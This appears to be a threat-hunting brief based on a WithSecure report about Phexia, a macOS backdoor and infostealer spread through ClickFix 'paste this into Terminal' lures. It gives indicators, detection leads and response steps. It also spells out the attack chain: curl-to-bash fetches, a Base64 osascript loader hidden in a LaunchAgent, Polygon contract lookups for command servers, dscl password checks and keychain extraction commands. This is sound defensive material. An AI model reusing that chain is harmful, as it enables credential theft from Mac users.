Paste This in Terminal: Phexia Turns ClickFix Into a Mac Password Heist

A Mac backdoor for hire is getting its orders from the Polygon blockchain, so taking down its servers doesn’t cut it off. WithSecure says Phexia, a modular macOS backdoor and infostealer sold to several criminal groups since at least late 2025, reaches victims through ClickFix lures that talk people into pasting a command into Terminal. Once in, it captures the Mac’s login password, copies the keychain, browser data and password-manager stores, and in some cases installs a Monero miner. WithSecure tracked infections from June through October 2026 and found C2 domains no one had reported before.

hf98x4d[.]site · apdhlhs3[.]xyz · j9af4sr[.]guru · 67sixcebeh[.]surf · stv4ec5[.]shop
vg5sgxv[.]lol · d9mjs[.]sbs · jse8x92s[.]me · couhe79[.]xyz · xzttyt[.]xyz
secdarvin2026[.]icu · oreshnik[.]top · svo-zv[.]pro · dhsbdgs[.]icu (C2, June to Oct. 2026)
hackersteersman[.]digital · coeuzgoq.bahisbiz[.]com · kefavkd.nextbahis[.]sex · d9j.everunningshoes[.]com
nox.usa-synadentix[.]com · zwa8.meritbethizligir[.]com · 355uz90z.bolnhurstrally[.]site · 7ulk.irvinaurus[.]fit (script delivery)
62.60.226[.]50 (upload.php, stolen data)

~/Library/LaunchAgents/com.<16 lowercase letters>.plist · com.Apple.<16 lowercase letters>.plist
~/.passphrase · ~/.txid · ~/tempFolderC/ · /tmp/updstat.txt
/tmp/rigupdater/ · /tmp/applecomlistupdate/ (XMRig working folders)

Source article: Inside Phexia: A macOS malware delivered through ClickFix
Publisher: WithSecure (W/Labs), author Shashika Harshani
Published: Nov. 2026 (exact day not stated on the page)
URL: https://www.withsecure.com/en/resources-hub/w-labs/phexia-macos-malware/

Executive Summary

WithSecure reports that Phexia, a modular macOS backdoor and infostealer actively sold to and used by several threat actors since at least late 2025, is spreading through ClickFix-class social engineering, including typosquatted domains and shopping listings that redirect to fake CAPTCHA pages per public reporting WithSecure cites. No single actor is named; WithSecure notes that a shared Polygon contract across several builds could reflect either the malware-as-a-service operator or one customer distributing multiple builds. Since May 2026 the latest builds resolve their C2 hostname from Polygon smart contracts (the technique widely called EtherHiding) instead of hard-coded domains, Telegram channels or Steam profiles. The chain begins with a command pasted into Terminal that downloads a shell script with curl and pipes it to bash; the script runs an AppleScript dropper through osascript, which installs a KeepAlive LaunchAgent carrying a Base64-encoded AppleScript loader; the loader queries public Polygon RPC endpoints for the C2 hostname, fetches the backdoor module and pipes it to osascript. The backdoor captures and validates the user’s login password with dscl, stores it in ~/.passphrase, registers the host, polls for tasks and pulls stealer modules that harvest browser Safe Storage keys, browser profile data, Safari cookies, password-manager extension stores and the login keychain, archive them under /tmp and upload them to the C2 and to a second server over plain HTTP; operators also repeatedly deployed the XMRig Monero miner. WithSecure observed 14 C2 domains between June 14 and Oct. 27, 2026, a second Polygon contract on Oct. 27, and found that reinfection could leave multiple builds active on one Mac. The objective is credential, session and data theft plus cryptomining, with downstream risk to corporate SaaS accounts. Hunt leads, false positive expectations and indicators are detailed below; WithSecure published no detection rules or file hashes.

ATT&CK chain: Initial Access → Execution → Persistence → Defense Evasion → Credential Access → Discovery → Collection → Command and Control → Exfiltration → Impact

Hunt Lead Grid

Phexia C2, Delivery and Upload Infrastructure Sweep

WithSecure lists 14 C2 domains in the order first seen in its telemetry: hf98x4d[.]site (June 14, 2026), apdhlhs3[.]xyz (July 6), j9af4sr[.]guru (July 16), 67sixcebeh[.]surf (July 27), stv4ec5[.]shop (Aug. 4), vg5sgxv[.]lol (Aug. 25), d9mjs[.]sbs (Sept. 7), jse8x92s[.]me (Sept. 11), couhe79[.]xyz (Oct. 2), xzttyt[.]xyz (Oct. 12), secdarvin2026[.]icu (Oct. 20), oreshnik[.]top (Oct. 22), svo-zv[.]pro (Oct. 24) and dhsbdgs[.]icu (Oct. 27, resolved from the second contract). The first-stage scripts came from hackersteersman[.]digital, coeuzgoq.bahisbiz[.]com (fetched as //update.sh with a double slash on July 6, matching public reporting), kefavkd.nextbahis[.]sex, d9j.everunningshoes[.]com, nox.usa-synadentix[.]com, zwa8.meritbethizligir[.]com, 355uz90z.bolnhurstrally[.]site and 7ulk.irvinaurus[.]fit, and stolen archives also went to http://62.60.226[.]50/upload.php. The detection logic is a retrospective sweep of DNS, proxy and firewall logs for all of these. Because Mac endpoints only re-read the contract on restart, WithSecure saw hf98x4d[.]site still polled a month after the contract had moved on, so older domains stay relevant.

Use DNS resolver logs, secure web gateway or proxy logs, firewall logs for the upload IP, and macOS EDR network events. Sweep from Dec. 1, 2025 (earliest Phexia sightings in late 2025) and keep it running. Scope to all macOS endpoints. Do not block the Polygon RPC endpoints (polygon.drpc.org, polygon.publicnode.com, polygon-mainnet.gateway.tatum.io, tenderly.rpc.polygon.community), GitHub or the HashVault and SupportXMR mining pools fleet-wide; they are legitimate services and belong in the behavioral leads, not a block list. Expect the domain list to go stale quickly as the operator rotates every few days to weeks. A hit on a C2 domain means an active infection; a hit on a delivery host means someone ran the pasted command and the Mac should be checked with the LaunchAgent lead.

Hunt Lead Level: 1 (Junior Analyst)

ATT&CK: Command and Control → T1071.001 (Application Layer Protocol: Web Protocols) (mapping per source article)

Sources: “Inside Phexia: A macOS malware delivered through ClickFix”, WithSecure, Nov. 2026, https://www.withsecure.com/en/resources-hub/w-labs/phexia-macos-malware/ (source article)

Random-Label LaunchAgents and the .passphrase File

The dropper runs mkdir -p “$HOME/Library/LaunchAgents”, writes the plist with a cat heredoc (END_PLIST), then runs launchctl unload followed by launchctl load on it. Builds from June to mid-September use the label com.<16 lowercase letters>; builds from October use com.Apple.<16 lowercase letters>, a capitalised imitation of Apple’s lowercase namespace. The plist sets KeepAlive (and RunAtLoad in earlier droppers), and its ProgramArguments are /bin/bash -c “echo ‘<base64>’ | base64 -d | osascript”, so the loader lives only inside the plist. Other host artifacts are ~/.passphrase (the captured login password in plain text), ~/.txid (the build ID), ~/tempFolderC/ (Safari cookie staging), /tmp/<long hex>/ with Browsers/ and Extensions/ subfolders, /tmp/<long hex>.zip, /tmp/updstat.txt and the XMRig folders /tmp/rigupdater/ and /tmp/applecomlistupdate/. The detection logic is a fleet sweep of user LaunchAgents for those label shapes and for base64 piped to osascript in the arguments, plus file existence checks for the dotfiles.

Use macOS EDR file and process telemetry, the Endpoint Security framework’s launch item and BTM events, or a live-response query across ~/Library/LaunchAgents for every user. Sweep current state plus history back to Dec. 1, 2025. Scope to all Macs. WithSecure warns that label patterns alone aren’t enough and that reinfection can leave several Phexia agents installed, so inspect every agent’s contents and remove all of them. Deleting the plist without first running launchctl bootout gui/<uid>/<label> is the wrong order and lets the job keep running. Treat ~/.passphrase as evidence that the login password is compromised; secure the file, since it contains a plaintext password, then reset the password and revoke sessions from a trusted device.

Hunt Lead Level: 1 (Junior Analyst)

ATT&CK: Persistence → T1543.001 (Create or Modify System Process: Launch Agent); Defense Evasion → T1564.001 (Hide Artifacts: Hidden Files and Directories) (mapping per source article)

Sources: source article (above)

Terminal Shell Piping a curl Download into bash, then osascript

WithSecure saw the same ancestry on almost every infected Mac: Terminal.app as the responsible process, an interactive -zsh or bash, a child bash, and curl -s https://<random>.<domain>/update.sh (or script.sh, clear-cache.sh, Terminal.sh) whose output was piped into bash. The script then launched osascript -e with bash as the parent, and the dropper wrote and loaded the LaunchAgent. This is the ClickFix moment, and it is visible even when the lure itself is unknown. The detection logic is a short sequence on one host: curl started by a non-login bash under a Terminal-responsible interactive shell, fetching a .sh from a random-looking subdomain, followed within a few minutes by osascript -e under bash and by a new plist in ~/Library/LaunchAgents or a launchctl load.

Use macOS EDR process telemetry with responsible-process attribution, or Endpoint Security exec events, joined to file events for LaunchAgents. Sweep back to Dec. 1, 2025. Scope to all Macs, with extra weight on non-developer users. Developers run curl | bash installers (Homebrew, toolchains) every day; allowlist by known installer domains and by the absence of osascript and LaunchAgent creation, never by user. Blocking Terminal for everyone is not realistic, and blocking curl breaks macOS tooling; user awareness of “paste this into Terminal” prompts is the control WithSecure recommends alongside detection. A full sequence hit is an infection: isolate, run the LaunchAgent lead, and assume the login password was taken.

Hunt Lead Level: 2 (Pro)

ATT&CK: Execution → T1204.004 (User Execution: Malicious Copy and Paste), T1059.002 (Command and Scripting Interpreter: AppleScript) (mapping per source article)

Sources: source article (above)

Script-Driven Polygon Lookups with dscl Password Checks and txid Tasking

The loader loops through polygon.drpc.org, polygon.publicnode.com, polygon-mainnet.gateway.tatum.io and tenderly.rpc.polygon.community, sending curl -s –max-time 15 JSON-RPC eth_call requests to contract 0xA3a603F8a454a9c905b4c579Bb72628F7C15C2A0 (June 14 to Oct. 22) or 0x3445fB8Df432320251f611e691fe6B0C6664C960 (Oct. 27 build) with data 0x2686ecea, the getServerURL() selector, and decodes the reply with sed, printf and xxd -r -p. It then POSTs txid=<32 hex>&bmodule to the resolved host and pipes the response to osascript; later requests carry init, connect, task, smodule, lmodule, ledger or shell, a bare check body comes from osascript, and responses go to osascript, bash or sh. Within less than a minute to about eight minutes of first execution, and again up to 22 hours later, the backdoor ran dscl . authonly <user> <password> repeatedly until a fake System Preferences prompt yielded the right password. Correlate on one host: a curl whose ancestry leads to osascript carrying the selector or either contract in its command line (or in TLS-inspected bodies); curl POSTs with txid= bodies piped to an interpreter; and dscl . authonly, security find-generic-password -w -s ‘<Browser> Safe Storage’ or tccutil reset All inside an AppleScript-rooted process tree.

Use macOS EDR command-line telemetry (the contract and selector appear in curl’s arguments), TLS-inspecting proxy logs where deployed, and process trees rooted at osascript. Baseline Polygon RPC use for 30 days; crypto developers and wallet apps contact these endpoints legitimately, but not from osascript. Sweep back to May 2026, when Polygon resolution began. Note that dscl . authonly puts the victim’s plaintext password into your EDR and SIEM, so restrict access to those events and purge them after the incident. Blocking the contract is impossible at the network layer and blocking the RPC providers is overbroad; detect the lookup instead. A correlated hit means credentials, keychain and browser secrets are gone: reset the login password and all saved credentials from a trusted device, revoke sessions and tokens, and check password-manager and wallet exposure, as WithSecure advises.

Hunt Lead Level: 3 (Elite)

ATT&CK: Command and Control → T1102.001 (Web Service: Dead Drop Resolver); Credential Access → T1056.002 (Input Capture: GUI Input Capture) (mapping per source article)

Sources: source article (above)

Hash Appendix

The source article publishes no file hashes or sample names: Phexia runs as build-specific, differently obfuscated AppleScript piped to osascript, and its only downloaded binary is the legitimate XMRig 6.26.0 macOS arm64 release from GitHub, which WithSecure says to treat as context rather than an indicator. With no sample names to pivot on, no hashes were added from OTX or VirusTotal.

References Appendix

• “Inside Phexia: A macOS malware delivered through ClickFix”, WithSecure (W/Labs), Shashika Harshani, Nov. 2026, https://www.withsecure.com/en/resources-hub/w-labs/phexia-macos-malware/ (source article; execution chain, ATT&CK mapping, hunting guidance and indicators)
• MITRE ATT&CK Enterprise technique pages linked above, MITRE, https://attack.mitre.org/